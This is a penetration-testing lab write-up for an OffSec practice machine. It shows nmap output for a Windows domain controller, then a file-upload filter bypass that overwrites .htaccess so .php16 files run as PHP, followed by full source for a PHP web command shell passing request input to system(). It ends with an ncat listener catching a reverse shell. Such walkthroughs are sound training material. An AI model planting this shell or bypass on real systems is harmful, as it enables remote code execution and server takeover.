First eunumeration with nmap
# Nmap 7.94SVN scan initiated Mon Feb 26 10:52:11 2024 as: nmap -sC -sV -T4 -oN service.nmap -p 53,80,88,135,139,389,445,464,593,636,3268,3269,5985,9389 -Pn 192.168.163.187
Nmap scan report for 192.168.163.187
Host is up (0.15s latency).
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
80/tcp open http Apache httpd 2.4.48 ((Win64) OpenSSL/1.1.1k PHP/8.0.7)
|_http-title: Access The Event
| http-methods:
|_ Potentially risky methods: TRACE
|_http-server-header: Apache/2.4.48 (Win64) OpenSSL/1.1.1k PHP/8.0.7
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2024-02-26 09:52:56Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: access.offsec0., Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: access.offsec0., Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
9389/tcp open mc-nmf .NET Message Framing
Service Info: Host: SERVER; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-time:
| date: 2024-02-26T09:53:10
|_ start_date: N/A
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled and required
|_clock-skew: 36s
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Mon Feb 26 10:53:17 2024 -- 1 IP address (1 host up) scanned in 65.29 seconds
Enumerating port 80
there’s a web server running on port port 80. checking the ip on a browser, we got a webpage
fuzzing the web application, we got diff dirs.
There’s an upload function in the buy-ticket let’s try upload a malicious file.
trying to upload a php shell.
we got error file type not supported. let’s try bypassing it
after some research, found out we could overwrite the .htaccess and make a php shell uploadable.
echo "AddType application/x-httpd-php .php16" > .htaccess
upload a file with <?php phpinfo(); ?> as .php16.
upload a new file .php16.
successfully upload the shell.
triggered a phpinfo. let’s spawn a reverse shell.
<html>
<body>
<form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>">
<input type="TEXT" name="cmd" id="cmd" size="80">
<input type="SUBMIT" value="Execute">
</form>
<pre>
<?php
if(isset($_GET['cmd']))
{
system($_GET['cmd']);
}
?>
</pre>
</body>
<script>document.getElementById("cmd").focus();</script>
</html>
uploaded a php cmd shell and we can run RCE.
┌──(n16hth4wk👽n16hth4wk-sec)-[~/Documents/PGP/Access]
└─$ rlwrap ncat -lnvp 443
Ncat: Version 7.94SVN ( https://nmap.org/ncat )
Ncat: Listening on [::]:443
Ncat: Listening on 0.0.0.0:443
Ncat: Connection from 192.168.163.187:50445.
PS C:\xampp\htdocs\uploads> whoami
access\svc_apache
PS C:\xampp\htdocs\uploads>